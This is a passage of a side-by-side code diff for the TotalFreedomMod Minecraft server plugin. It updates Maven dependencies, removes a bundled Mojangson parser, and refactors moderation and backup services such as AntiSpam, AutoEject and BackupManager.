<groupId>net.ess3</groupId>
<artifactId>EssentialsX</artifactId>
<version>2.16.1</version>
<scope>provided</scope> <scope>provided</scope>
</dependency> </dependency>
<dependency> <dependency>
<groupId>net.dv8tion</groupId> <groupId>net.dv8tion</groupId>
<artifactId>JDA</artifactId> <artifactId>JDA</artifactId>
<version>4.0.0_39</version> <version>4.2.1_255</version>
<scope>provided</scope> <scope>provided</scope>
</dependency> </dependency>
<dependency> <dependency>
<groupId>net.coreprotect</groupId> <groupId>net.coreprotect</groupId>
<artifactId>coreprotect</artifactId> <artifactId>coreprotect</artifactId>
<version>2.16.3</version> <version>19.5</version>
<scope>provided</scope> <scope>provided</scope>
</dependency> </dependency>
<dependency> <dependency>
<groupId>com.sk89q.worldguard</groupId> <groupId>com.sk89q.worldguard</groupId>
<artifactId>worldguard-bukkit</artifactId> <artifactId>worldguard-bukkit</artifactId>
<version>7.0.2</version> <version>7.0.4</version>
<scope>provided</scope> <scope>provided</scope>
</dependency> </dependency>
<dependency> <dependency>
<groupId>com.destroystokyo.paper</groupId> <groupId>io.papermc</groupId>
<artifactId>paper-api</artifactId> <artifactId>paperlib</artifactId>
<version>1.15.1-R0.1-SNAPSHOT</version> <version>1.0.6</version>
<scope>provided</scope> <scope>compile</scope>
</dependency>
<dependency>
<groupId>me.rayzr522</groupId>
<artifactId>jsonmessage</artifactId>
<version>1.0.0</version>
</dependency> </dependency>
<dependency> <dependency>
@ -217,14 +201,61 @@
<version>v1.9</version> <version>v1.9</version>
<scope>provided</scope> <scope>provided</scope>
</dependency> </dependency>
<dependency> <dependency>
<groupId>com.github.ConnorLinfoot</groupId> <groupId>net.ess3</groupId>
<artifactId>ActionBarAPI</artifactId> <artifactId>EssentialsX</artifactId>
<version>5b2d642d3d</version> <version>2.18.2</version>
<scope>provided</scope> <scope>compile</scope>
</dependency> </dependency>
<dependency>
<groupId>org.reflections</groupId>
<artifactId>reflections</artifactId>
<version>0.9.12</version>
<scope>compile</scope>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.28.0-GA</version>
<scope>compile</scope>
</dependency>
<dependency>
<groupId>me.totalfreedom</groupId>
<artifactId>tfguilds</artifactId>
<version>2021.06-RC2</version>
<scope>compile</scope>
</dependency>
<dependency>
<groupId>org.jetbrains</groupId>
<artifactId>annotations</artifactId>
<version>22.0.0</version>
<scope>compile</scope>
</dependency>
<dependency>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-checkstyle-plugin</artifactId>
<version>3.1.2</version>
<scope>compile</scope>
</dependency>
<dependency>
<groupId>org.junit.jupiter</groupId>
<artifactId>junit-jupiter</artifactId>
<version>5.8.0</version>
<scope>compile</scope>
</dependency>
<dependency>
<groupId>org.eclipse.sisu</groupId>
<artifactId>org.eclipse.sisu.inject</artifactId>
<version>0.3.4</version>
</dependency>
</dependencies> </dependencies>
<build> <build>
@ -241,12 +272,12 @@
<plugin> <plugin>
<groupId>org.apache.maven.plugins</groupId> <groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId> <artifactId>maven-compiler-plugin</artifactId>
<version>3.7.0</version> <version>3.8.1</version>
<configuration> <configuration>
<outputFileName>TotalFreedomMod.jar</outputFileName> <outputFileName>TotalFreedomMod.jar</outputFileName>
<compilerVersion>1.8</compilerVersion> <compilerVersion>11</compilerVersion>
<source>1.8</source> <source>11</source>
<target>1.8</target> <target>11</target>
</configuration> </configuration>
</plugin> </plugin>
@ -254,7 +285,7 @@
<plugin> <plugin>
<groupId>pl.project13.maven</groupId> <groupId>pl.project13.maven</groupId>
<artifactId>git-commit-id-plugin</artifactId> <artifactId>git-commit-id-plugin</artifactId>
<version>2.2.5</version> <version>4.9.10</version>
<executions> <executions>
<execution> <execution>
<id>get-the-git-infos</id> <id>get-the-git-infos</id>
@ -295,7 +326,7 @@
<plugin> <plugin>
<groupId>org.apache.maven.plugins</groupId> <groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-antrun-plugin</artifactId> <artifactId>maven-antrun-plugin</artifactId>
<version>1.8</version> <version>3.0.0</version>
<executions> <executions>
<execution> <execution>
<id>default-cli</id> <id>default-cli</id>
@ -309,7 +340,8 @@
<entry key="buildCodeName" value="${tfm.build.codename}"/> <entry key="buildCodeName" value="${tfm.build.codename}"/>
<entry key="buildVersion" value="${project.version}"/> <entry key="buildVersion" value="${project.version}"/>
<entry key="buildDate" value="${timestamp}"/> <entry key="buildDate" value="${timestamp}"/>
<!--<entry key="buildHead" value="${git.commit.id.abbrev}"/>--> <!--suppress UnresolvedMavenProperty -->
<entry key="buildHead" value="${git.commit.id.abbrev}"/>
</propertyfile> </propertyfile>
</target> </target>
</configuration> </configuration>
@ -367,28 +399,45 @@
<!-- Shade --> <!-- Shade -->
<plugin> <plugin>
<groupId>org.apache.maven.plugins</groupId> <groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-shade-plugin</artifactId> <artifactId>maven-shade-plugin</artifactId>
<version>2.4.3</version> <version>3.2.4</version>
<executions> <executions>
<execution> <execution>
<phase>package</phase> <phase>package</phase>
<goals> <goals>
<goal>shade</goal> <goal>shade</goal>
</goals> </goals>
<configuration> <configuration>
<minimizeJar>true</minimizeJar> <minimizeJar>true</minimizeJar>
<artifactSet> <relocations>
<includes> <relocation>
<include>commons-io:commons-io</include> <pattern>io.papermc.lib</pattern>
<include>org.apache.commons:commons-lang3</include> <shadedPattern>me.totalfreedom.totalfreedommod.paperlib
<include>commons-codec:commons-codec</include> </shadedPattern> <!-- Replace this -->
</includes> </relocation>
</artifactSet> <relocation>
</configuration> <pattern>org.bstats</pattern>
</execution> <shadedPattern>me.totalfreedom.totalfreedommod</shadedPattern>
</executions> </relocation>
</plugin> </relocations>
<artifactSet>
<includes>
<include>commons-io:commons-io</include>
<include>org.apache.commons:commons-lang3</include>
<include>commons-codec:commons-codec</include>
<include>org.reflections:reflections</include>
<include>org.javassist:javassist</include>
<include>io.papermc:paperlib</include>
<include>com.github.speedxx:Mojangson</include>
<include>org.bstats:bstats-bukkit</include>
<include>org.jetbrains:annotations</include>
</includes>
</artifactSet>
</configuration>
</execution>
</executions>
</plugin>
</plugins> </plugins>
</build> </build>
@ -398,8 +447,8 @@
<plugins> <plugins>
<plugin> <plugin>
<groupId>org.apache.maven.plugins</groupId> <groupId>org.apache.maven.plugins</groupId>
<version>2.17</version>
<artifactId>maven-checkstyle-plugin</artifactId> <artifactId>maven-checkstyle-plugin</artifactId>
<version>3.1.2</version>
<configuration> <configuration>
<configLocation>checkstyle.xml</configLocation> <configLocation>checkstyle.xml</configLocation>
<failOnViolation>true</failOnViolation> <failOnViolation>true</failOnViolation>
@ -409,4 +458,4 @@
</plugin> </plugin>
</plugins> </plugins>
</reporting> </reporting>
</project> </project>

View File

@ -1,23 +0,0 @@
package ca.momothereal.mojangson;
import ca.momothereal.mojangson.ex.MojangsonParseException;
import ca.momothereal.mojangson.value.MojangsonString;
import ca.momothereal.mojangson.value.MojangsonValue;
public class MojangsonFinder
{
/**
* Automatically detects the appropriate MojangsonValue from the given value.
*
* @param value The value to parse
* @return The resulting MojangsonValue. If the type couldn't be found, it falls back to MojangsonString
* @throws MojangsonParseException if the given value could not be parsed
*/
public static MojangsonValue readFromValue(String value) throws MojangsonParseException
{
MojangsonValue val = new MojangsonString();
val.read(value);
return val;
}
}

View File

@ -1,53 +0,0 @@
package ca.momothereal.mojangson;
public enum MojangsonToken
{
COMPOUND_START(0, "Compound_Start", '{'),
COMPOUND_END(1, "Compound_End", '}'),
ELEMENT_SEPERATOR(2, "Element_Seperator", ','),
ARRAY_START(3, "Array_Start", '['),
ARRAY_END(4, "Array_End", ']'),
ELEMENT_PAIR_SEPERATOR(5, "Pair_Seperator", ':'),
STRING_QUOTES(6, "String_Quotes", '\"'),
DOUBLE_SUFFIX(8, "Double_Suffix", 'd'),
BYTE_SUFFIX(9, "Byte_Suffix", 'b'),
FLOAT_SUFFIX(10, "Float_Suffix", 'f'),
SHORT_SUFFIX(11, "Short_Suffix", 's'),
LONG_SUFFIX(12, "Long_Suffix", 'l'),
WHITE_SPACE(13, "WhiteSpace", ' ');
private int id;
private String name;
private char symbol;
MojangsonToken(int id, String name, char symbol)
{
this.id = id;
this.name = name;
this.symbol = symbol;
}
public int getId()
{
return id;
}
public String getName()
{
return name;
}
public char getSymbol()
{
return symbol;
}
@Override
public String toString()
{
return String.valueOf(symbol);
}
}

View File

@ -1,42 +0,0 @@
package ca.momothereal.mojangson.ex;
public class MojangsonParseException extends Exception
{
private ParseExceptionReason reason;
public MojangsonParseException(String message, ParseExceptionReason reason)
{
super(message);
this.reason = reason;
}
public ParseExceptionReason getReason()
{
return reason;
}
@Override
public String getMessage()
{
return reason.getMessage() + ": " + super.getMessage();
}
public enum ParseExceptionReason
{
INVALID_FORMAT_NUM("Given value is not numerical"),
UNEXPECTED_SYMBOL("Unexpected symbol in Mojangson string");
private String message;
ParseExceptionReason(String message)
{
this.message = message;
}
public String getMessage()
{
return message;
}
}
}

View File

@ -1,144 +0,0 @@
package ca.momothereal.mojangson.value;
import ca.momothereal.mojangson.MojangsonFinder;
import ca.momothereal.mojangson.ex.MojangsonParseException;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import static ca.momothereal.mojangson.MojangsonToken.*;
public class MojangsonCompound extends HashMap<String, List<MojangsonValue>> implements MojangsonValue<Map<String, MojangsonValue>>
{
private final int C_COMPOUND_START = 0; // Parsing context
private final int C_COMPOUND_PAIR_KEY = 1; // Parsing context
private final int C_COMPOUND_PAIR_VALUE = 2; // Parsing context
public MojangsonCompound()
{
}
public MojangsonCompound(Map map)
{
super(map);
}
@Override
public void write(StringBuilder builder)
{
builder.append(COMPOUND_START);
boolean start = true;
for (String key : keySet())
{
if (start)
{
start = false;
}
else
{
builder.append(ELEMENT_SEPERATOR);
}
builder.append(key).append(ELEMENT_PAIR_SEPERATOR);
List<MojangsonValue> value = get(key);
for (MojangsonValue val : value)
{
val.write(builder);
}
}
builder.append(COMPOUND_END);
}
@Override
public void read(String string) throws MojangsonParseException
{
int context = C_COMPOUND_START;
String tmp_key = "", tmp_val = "";
int scope = 0;
boolean inString = false;
for (int index = 0; index < string.length(); index++)
{
Character character = string.charAt(index);
if (character == STRING_QUOTES.getSymbol())
{
inString = !inString;
}
if (character == WHITE_SPACE.getSymbol())
{
if (!inString)
{
continue;
}
}
if ((character == COMPOUND_START.getSymbol() || character == ARRAY_START.getSymbol()) && !inString)
{
scope++;
}
if ((character == COMPOUND_END.getSymbol() || character == ARRAY_END.getSymbol()) && !inString)
{
scope--;
}
if (context == C_COMPOUND_START)
{
if (character != COMPOUND_START.getSymbol())
{
parseException(index, character);
return;
}
context++;
continue;
}
if (context == C_COMPOUND_PAIR_KEY)
{
if (character == ELEMENT_PAIR_SEPERATOR.getSymbol() && scope <= 1)
{
context++;
continue;
}
tmp_key += character;
continue;
}
if (context == C_COMPOUND_PAIR_VALUE)
{
if ((character == ELEMENT_SEPERATOR.getSymbol() || character == COMPOUND_END.getSymbol()) && scope <= 1 && !inString)
{
context = C_COMPOUND_PAIR_KEY;
computeIfAbsent(tmp_key, k -> new ArrayList<>()).add(MojangsonFinder.readFromValue(tmp_val));
tmp_key = tmp_val = "";
continue;
}
tmp_val += character;
}
}
}
@Override
public Map<String, MojangsonValue> getValue()
{
HashMap<String, MojangsonValue> hack = new HashMap<>();
for (String string : keySet())
{
for (MojangsonValue value : get(string))
{
hack.put(string, value);
}
}
return hack;
}
@Override
public Class getValueClass()
{
return Map.class;
}
private void parseException(int index, char symbol) throws MojangsonParseException
{
throw new MojangsonParseException("Index: " + index + ", symbol: \'" + symbol + "\'", MojangsonParseException.ParseExceptionReason.UNEXPECTED_SYMBOL);
}
}

View File

@ -1,57 +0,0 @@
package ca.momothereal.mojangson.value;
import ca.momothereal.mojangson.MojangsonToken;
import ca.momothereal.mojangson.ex.MojangsonParseException;
public class MojangsonString implements MojangsonValue<String>
{
private String value;
public MojangsonString()
{
}
public MojangsonString(String value)
{
this.value = value;
}
public String getValue()
{
return value;
}
public void setValue(String value)
{
this.value = value;
}
@Override
public void write(StringBuilder builder)
{
builder.append(MojangsonToken.STRING_QUOTES).append(value).append(MojangsonToken.STRING_QUOTES);
}
@Override
public Class getValueClass()
{
return String.class;
}
@Override
public void read(String string) throws MojangsonParseException
{
Character lastChar = string.charAt(string.length() - 1);
Character firstChar = string.charAt(0);
if (firstChar == MojangsonToken.STRING_QUOTES.getSymbol() && lastChar == MojangsonToken.STRING_QUOTES.getSymbol())
{
value = string.substring(1, string.length() - 1);
}
else
{
value = string;
}
}
}

View File

@ -1,42 +0,0 @@
package ca.momothereal.mojangson.value;
import ca.momothereal.mojangson.ex.MojangsonParseException;
/**
* Represents a value inside a compound or array.
*
* @param <T> The type of value this MojangsonValue holds
*/
public interface MojangsonValue<T>
{
/**
* Writes the value to a StringBuilder buffer.
*
* @param builder The buffer to write to
*/
void write(StringBuilder builder);
/**
* Parses and updates the current value to the given string representation
*
* @param string The string representation of the value
* @throws MojangsonParseException if the given value cannot be parsed
*/
void read(String string) throws MojangsonParseException;
/**
* Gets the current literal value
*
* @return The current literal value of the MojangsonValue
*/
T getValue();
/**
* Gets the literal value's class
*
* @return The literal value's class
*/
Class getValueClass();
}

View File

@ -3,7 +3,6 @@ package me.totalfreedom.totalfreedommod;
import com.google.common.collect.Lists; import com.google.common.collect.Lists;
import java.util.Collections; import java.util.Collections;
import java.util.List; import java.util.List;
import lombok.Getter;
import me.totalfreedom.totalfreedommod.config.ConfigEntry; import me.totalfreedom.totalfreedommod.config.ConfigEntry;
import me.totalfreedom.totalfreedommod.util.FUtil; import me.totalfreedom.totalfreedommod.util.FUtil;
import org.bukkit.scheduler.BukkitRunnable; import org.bukkit.scheduler.BukkitRunnable;
@ -13,21 +12,13 @@ public class Announcer extends FreedomService
{ {
private final List<String> announcements = Lists.newArrayList(); private final List<String> announcements = Lists.newArrayList();
@Getter
private boolean enabled; private boolean enabled;
@Getter
private long interval; private long interval;
@Getter
private String prefix; private String prefix;
private BukkitTask announcer; private BukkitTask announcer;
public Announcer(TotalFreedomMod plugin)
{
super(plugin);
}
@Override @Override
protected void onStart() public void onStart()
{ {
enabled = ConfigEntry.ANNOUNCER_ENABLED.getBoolean(); enabled = ConfigEntry.ANNOUNCER_ENABLED.getBoolean();
interval = ConfigEntry.ANNOUNCER_INTERVAL.getInteger() * 20L; interval = ConfigEntry.ANNOUNCER_INTERVAL.getInteger() * 20L;
@ -64,7 +55,7 @@ public class Announcer extends FreedomService
} }
@Override @Override
protected void onStop() public void onStop()
{ {
if (announcer == null) if (announcer == null)
{ {
@ -85,4 +76,23 @@ public class Announcer extends FreedomService
FUtil.bcastMsg(prefix + message); FUtil.bcastMsg(prefix + message);
} }
public boolean isEnabled()
{
return enabled;
}
public long getInterval()
{
return interval;
}
public String getPrefix()
{
return prefix;
}
public BukkitTask getAnnouncer()
{
return announcer;
}
} }

View File

@ -4,7 +4,6 @@ import me.totalfreedom.totalfreedommod.config.ConfigEntry;
import me.totalfreedom.totalfreedommod.player.FPlayer; import me.totalfreedom.totalfreedommod.player.FPlayer;
import me.totalfreedom.totalfreedommod.util.FUtil; import me.totalfreedom.totalfreedommod.util.FUtil;
import org.bukkit.ChatColor; import org.bukkit.ChatColor;
import org.bukkit.Location;
import org.bukkit.entity.Player; import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler; import org.bukkit.event.EventHandler;
import org.bukkit.event.EventPriority; import org.bukkit.event.EventPriority;
@ -13,19 +12,13 @@ import org.bukkit.event.block.BlockPlaceEvent;
public class AntiNuke extends FreedomService public class AntiNuke extends FreedomService
{ {
public AntiNuke(TotalFreedomMod plugin)
{
super(plugin);
}
@Override @Override
protected void onStart() public void onStart()
{ {
} }
@Override @Override
protected void onStop() public void onStop()
{ {
} }
@ -49,7 +42,6 @@ public class AntiNuke extends FreedomService
fPlayer.resetBlockDestroyCount(); fPlayer.resetBlockDestroyCount();
event.setCancelled(true); event.setCancelled(true);
return;
} }
} }

View File

@ -1,5 +1,6 @@
package me.totalfreedom.totalfreedommod; package me.totalfreedom.totalfreedommod;
import me.totalfreedom.totalfreedommod.config.ConfigEntry;
import me.totalfreedom.totalfreedommod.player.FPlayer; import me.totalfreedom.totalfreedommod.player.FPlayer;
import me.totalfreedom.totalfreedommod.util.FSync; import me.totalfreedom.totalfreedommod.util.FSync;
import me.totalfreedom.totalfreedommod.util.FUtil; import me.totalfreedom.totalfreedommod.util.FUtil;
@ -9,31 +10,23 @@ import org.bukkit.event.EventHandler;
import org.bukkit.event.EventPriority; import org.bukkit.event.EventPriority;
import org.bukkit.event.player.AsyncPlayerChatEvent; import org.bukkit.event.player.AsyncPlayerChatEvent;
import org.bukkit.event.player.PlayerCommandPreprocessEvent; import org.bukkit.event.player.PlayerCommandPreprocessEvent;
import org.bukkit.event.player.PlayerKickEvent;
import org.bukkit.event.player.PlayerLoginEvent;
import org.bukkit.event.player.PlayerLoginEvent.Result;
import org.bukkit.scheduler.BukkitRunnable; import org.bukkit.scheduler.BukkitRunnable;
import org.bukkit.scheduler.BukkitTask; import org.bukkit.scheduler.BukkitTask;
import java.util.ArrayList;
import java.util.Arrays; import java.util.HashMap;
import java.util.List; import java.util.Map;
public class AntiSpam extends FreedomService public class AntiSpam extends FreedomService
{ {
public static final int MSG_PER_CYCLE = 8; public static final int MSG_PER_CYCLE = 8;
public static final int TICKS_PER_CYCLE = 2 * 10; public static final int TICKS_PER_CYCLE = 2 * 10;
List<Player> markedForDeath = new ArrayList<>();
// //
public BukkitTask cycleTask = null; public BukkitTask cycleTask = null;
private Map<Player, Integer> muteCounts = new HashMap<>();
public AntiSpam(TotalFreedomMod plugin)
{
super(plugin);
}
@Override @Override
protected void onStart() public void onStart()
{ {
new BukkitRunnable() new BukkitRunnable()
{ {
@ -47,7 +40,7 @@ public class AntiSpam extends FreedomService
} }
@Override @Override
protected void onStop() public void onStop()
{ {
FUtil.cancel(cycleTask); FUtil.cancel(cycleTask);
} }
@ -75,31 +68,33 @@ public class AntiSpam extends FreedomService
return; return;
} }
String message = event.getMessage().trim();
final FPlayer playerdata = plugin.pl.getPlayerSync(player); final FPlayer playerdata = plugin.pl.getPlayerSync(player);
int count = muteCounts.getOrDefault(player, 0);
int minutes = ConfigEntry.ANTISPAM_MINUTES.getInteger();
// Check for spam // Check for spam
if (playerdata.incrementAndGetMsgCount() > MSG_PER_CYCLE) if (playerdata.incrementAndGetMsgCount() > MSG_PER_CYCLE && !playerdata.isMuted())
{ {
if (!markedForDeath.contains(player)) count++;
{ muteCounts.put(player, count);
markedForDeath.add(player);
FSync.bcastMsg(player.getName() + " was automatically kicked for spamming chat.", ChatColor.RED);
FSync.autoEject(player, "Kicked for spamming chat.");
playerdata.resetMsgCount(); int time = count * minutes;
playerdata.setMuted(true, time);
event.setCancelled(true); FSync.bcastMsg(String.format("%s has automatically been muted for %d minutes for spamming chat.",
} player.getName(),
return; time),
ChatColor.RED);
playerdata.resetMsgCount();
event.setCancelled(true);
} }
else if (playerdata.incrementAndGetMsgCount() > MSG_PER_CYCLE / 2) else if (playerdata.incrementAndGetMsgCount() > MSG_PER_CYCLE / 2)
{ {
FUtil.playerMsg(player, "Please refrain from spamming chat.", ChatColor.GRAY); FUtil.playerMsg(player, "Please refrain from spamming chat.", ChatColor.GRAY);
event.setCancelled(true); event.setCancelled(true);
} }
} }
@EventHandler(priority = EventPriority.LOW) @EventHandler(priority = EventPriority.LOW)
@ -131,14 +126,4 @@ public class AntiSpam extends FreedomService
event.setCancelled(true); event.setCancelled(true);
} }
} }
}
@EventHandler(priority = EventPriority.NORMAL)
public void onPlayerKick(PlayerKickEvent event)
{
if (markedForDeath.contains(event.getPlayer()))
{
markedForDeath.remove(event.getPlayer());
}
}
}

View File

@ -8,7 +8,6 @@ import java.util.Map;
import me.totalfreedom.totalfreedommod.banning.Ban; import me.totalfreedom.totalfreedommod.banning.Ban;
import me.totalfreedom.totalfreedommod.util.FLog; import me.totalfreedom.totalfreedommod.util.FLog;
import me.totalfreedom.totalfreedommod.util.FUtil; import me.totalfreedom.totalfreedommod.util.FUtil;
import net.pravian.aero.util.Ips;
import org.bukkit.Bukkit; import org.bukkit.Bukkit;
import org.bukkit.ChatColor; import org.bukkit.ChatColor;
import org.bukkit.GameMode; import org.bukkit.GameMode;
@ -19,25 +18,20 @@ public class AutoEject extends FreedomService
private final Map<String, Integer> ejects = new HashMap<>(); // ip -> amount private final Map<String, Integer> ejects = new HashMap<>(); // ip -> amount
public AutoEject(TotalFreedomMod plugin)
{
super(plugin);
}
@Override @Override
protected void onStart() public void onStart()
{ {
} }
@Override @Override
protected void onStop() public void onStop()
{ {
} }
public void autoEject(Player player, String kickMessage) public void autoEject(Player player, String kickMessage)
{ {
EjectMethod method = EjectMethod.STRIKE_ONE; EjectMethod method = EjectMethod.STRIKE_ONE;
final String ip = Ips.getIp(player); final String ip = FUtil.getIp(player);
if (!ejects.containsKey(ip)) if (!ejects.containsKey(ip))
{ {
@ -49,11 +43,7 @@ public class AutoEject extends FreedomService
ejects.put(ip, kicks); ejects.put(ip, kicks);
if (kicks <= 1) if (kicks == 2)
{
method = EjectMethod.STRIKE_ONE;
}
else if (kicks == 2)
{ {
method = EjectMethod.STRIKE_TWO; method = EjectMethod.STRIKE_TWO;
} }
@ -95,6 +85,10 @@ public class AutoEject extends FreedomService
player.kickPlayer(kickMessage); player.kickPlayer(kickMessage);
break; break;
} }
default:
{
FLog.warning("Unrecognized EjectMethod " + method.name() + " found, defaulting to STRIKE_THREE");
}
case STRIKE_THREE: case STRIKE_THREE:
{ {
plugin.bm.addBan(Ban.forPlayerFuzzy(player, Bukkit.getConsoleSender(), null, kickMessage)); plugin.bm.addBan(Ban.forPlayerFuzzy(player, Bukkit.getConsoleSender(), null, kickMessage));
@ -107,10 +101,9 @@ public class AutoEject extends FreedomService
} }
} }
public static enum EjectMethod public enum EjectMethod
{ {
STRIKE_ONE, STRIKE_TWO, STRIKE_THREE
STRIKE_ONE, STRIKE_TWO, STRIKE_THREE;
} }
} }

View File

@ -15,13 +15,8 @@ public class AutoKick extends FreedomService
private long autoKickTicks; private long autoKickTicks;
private double autoKickThreshold; private double autoKickThreshold;
public AutoKick(TotalFreedomMod plugin)
{
super(plugin);
}
@Override @Override
protected void onStart() public void onStart()
{ {
autoKickTicks = (long)ConfigEntry.AUTOKICK_TIME.getInteger() * 1000L; autoKickTicks = (long)ConfigEntry.AUTOKICK_TIME.getInteger() * 1000L;
autoKickThreshold = ConfigEntry.AUTOKICK_THRESHOLD.getDouble(); autoKickThreshold = ConfigEntry.AUTOKICK_THRESHOLD.getDouble();
@ -43,7 +38,7 @@ public class AutoKick extends FreedomService
} }
@Override @Override
protected void onStop() public void onStop()
{ {
FUtil.cancel(kickTask); FUtil.cancel(kickTask);
kickTask = null; kickTask = null;
@ -51,9 +46,10 @@ public class AutoKick extends FreedomService
private void autoKickCheck() private void autoKickCheck()
{ {
// No type cast was provided, one has been supplied.
final boolean doAwayKickCheck final boolean doAwayKickCheck
= plugin.esb.isEnabled() = plugin.esb.isEnabled()
&& ((server.getOnlinePlayers().size() / server.getMaxPlayers()) > autoKickThreshold); && (((float)server.getOnlinePlayers().size() / (float)server.getMaxPlayers()) > autoKickThreshold);
if (!doAwayKickCheck) if (!doAwayKickCheck)
{ {

View File

@ -1,18 +1,26 @@
package me.totalfreedom.totalfreedommod; package me.totalfreedom.totalfreedommod;
import java.io.File; import me.totalfreedom.totalfreedommod.banning.IndefiniteBanList;
import me.totalfreedom.totalfreedommod.config.YamlConfig;
import me.totalfreedom.totalfreedommod.permissions.PermissionConfig;
import me.totalfreedom.totalfreedommod.punishments.PunishmentList;
import me.totalfreedom.totalfreedommod.util.FLog; import me.totalfreedom.totalfreedommod.util.FLog;
import me.totalfreedom.totalfreedommod.util.FUtil; import me.totalfreedom.totalfreedommod.util.FUtil;
import net.pravian.aero.component.PluginComponent;
import net.pravian.aero.config.YamlConfig;
import org.bukkit.util.FileUtil; import org.bukkit.util.FileUtil;
public class BackupManager extends PluginComponent<TotalFreedomMod> import java.io.File;
public class BackupManager extends FreedomService
{ {
public BackupManager(TotalFreedomMod plugin) @Override
public void onStart()
{
}
@Override
public void onStop()
{ {
super(plugin);
} }
public void createBackups(String file) public void createBackups(String file)
@ -20,6 +28,15 @@ public class BackupManager extends PluginComponent<TotalFreedomMod>
createBackups(file, false); createBackups(file, false);
} }
public void createAllBackups()
{
createBackups(TotalFreedomMod.CONFIG_FILENAME, true);
createBackups(IndefiniteBanList.CONFIG_FILENAME);
createBackups(PermissionConfig.PERMISSIONS_FILENAME, true);
createBackups(PunishmentList.CONFIG_FILENAME);
createBackups("database.db");
}
public void createBackups(String file, boolean onlyWeekly) public void createBackups(String file, boolean onlyWeekly)
{ {
final String save = file.split("\\.")[0]; final String save = file.split("\\.")[0];
@ -27,16 +44,16 @@ public class BackupManager extends PluginComponent<TotalFreedomMod>
config.load(); config.load();
// Weekly // Weekly
if (!config.isInt(save + ".weekly")) if (!config.isLong(save + ".weekly"))
{ {
performBackup(file, "weekly"); performBackup(file, "weekly");
config.set(save + ".weekly", FUtil.getUnixTime()); config.set(save + ".weekly", FUtil.getUnixTime());
} }
else else
{ {
int lastBackupWeekly = config.getInt(save + ".weekly"); long lastBackupWeekly = config.getLong(save + ".weekly");
if (lastBackupWeekly + 3600 * 24 * 7 < FUtil.getUnixTime()) if (FUtil.parseLongOffset(lastBackupWeekly, "1w") < FUtil.getUnixTime())
{ {
performBackup(file, "weekly"); performBackup(file, "weekly");
config.set(save + ".weekly", FUtil.getUnixTime()); config.set(save + ".weekly", FUtil.getUnixTime());
@ -50,16 +67,16 @@ public class BackupManager extends PluginComponent<TotalFreedomMod>
} }
// Daily // Daily
if (!config.isInt(save + ".daily")) if (!config.isLong(save + ".daily"))
{ {
performBackup(file, "daily"); performBackup(file, "daily");
config.set(save + ".daily", FUtil.getUnixTime()); config.set(save + ".daily", FUtil.getUnixTime());
} }
else else
{ {
int lastBackupDaily = config.getInt(save + ".daily"); long lastBackupDaily = config.getLong(save + ".daily");
if (lastBackupDaily + 3600 * 24 < FUtil.getUnixTime()) if (FUtil.parseLongOffset(lastBackupDaily, "1d") < FUtil.getUnixTime())
{ {
performBackup(file, "daily"); performBackup(file, "daily");
config.set(save + ".daily", FUtil.getUnixTime()); config.set(save + ".daily", FUtil.getUnixTime());
@ -83,5 +100,4 @@ public class BackupManager extends PluginComponent<TotalFreedomMod>
final File newYaml = new File(backupFolder, file + "." + type + ".bak"); final File newYaml = new File(backupFolder, file + "." + type + ".bak");
FileUtil.copy(oldYaml, newYaml); FileUtil.copy(oldYaml, newYaml);
} }
} }

View File

@ -1,47 +1,38 @@
package me.totalfreedom.totalfreedommod; package me.totalfreedom.totalfreedommod;
import com.google.common.base.Strings; import com.google.common.base.Strings;
import java.time.LocalDate;
import java.time.Period;
import java.util.Date;
import me.totalfreedom.totalfreedommod.admin.Admin; import me.totalfreedom.totalfreedommod.admin.Admin;
import me.totalfreedom.totalfreedommod.config.ConfigEntry; import me.totalfreedom.totalfreedommod.config.ConfigEntry;
import me.totalfreedom.totalfreedommod.player.FPlayer; import me.totalfreedom.totalfreedommod.player.FPlayer;
import me.totalfreedom.totalfreedommod.player.PlayerData;
import me.totalfreedom.totalfreedommod.rank.Displayable; import me.totalfreedom.totalfreedommod.rank.Displayable;
import me.totalfreedom.totalfreedommod.shop.ShopData;
import me.totalfreedom.totalfreedommod.util.FLog; import me.totalfreedom.totalfreedommod.util.FLog;
import me.totalfreedom.totalfreedommod.util.FSync; import me.totalfreedom.totalfreedommod.util.FSync;
import me.totalfreedom.totalfreedommod.util.FUtil; import me.totalfreedom.totalfreedommod.util.FUtil;
import static me.totalfreedom.totalfreedommod.util.FUtil.playerMsg; import net.md_5.bungee.api.ChatColor;
import org.bukkit.Bukkit; import org.bukkit.Bukkit;
import org.bukkit.ChatColor; import org.bukkit.Sound;
import org.bukkit.SoundCategory;
import org.bukkit.command.CommandSender; import org.bukkit.command.CommandSender;
import org.bukkit.entity.Player; import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler; import org.bukkit.event.EventHandler;
import org.bukkit.event.EventPriority; import org.bukkit.event.EventPriority;
import org.bukkit.event.player.AsyncPlayerChatEvent; import org.bukkit.event.player.AsyncPlayerChatEvent;
import org.bukkit.Sound; import static me.totalfreedom.totalfreedommod.util.FUtil.playerMsg;
import org.bukkit.SoundCategory;
public class ChatManager extends FreedomService public class ChatManager extends FreedomService
{ {
public ChatManager(TotalFreedomMod plugin)
{
super(plugin);
}
@Override @Override
protected void onStart() public void onStart()
{ {
} }
@Override @Override
protected void onStop() public void onStop()
{ {
} }
@EventHandler(priority = EventPriority.HIGHEST, ignoreCancelled = true) @EventHandler(priority = EventPriority.HIGH, ignoreCancelled = true)
public void onPlayerChatFormat(AsyncPlayerChatEvent event) public void onPlayerChatFormat(AsyncPlayerChatEvent event)
{ {
try try
@ -58,23 +49,18 @@ public class ChatManager extends FreedomService
{ {
final Player player = event.getPlayer(); final Player player = event.getPlayer();
String message = event.getMessage().trim(); String message = event.getMessage().trim();
// Format colors and strip &k // Format colors and strip &k
message = FUtil.colorize(message); message = FUtil.colorize(message);
message = message.replaceAll(ChatColor.MAGIC.toString(), "&k"); message = message.replaceAll(ChatColor.MAGIC.toString(), "&k");
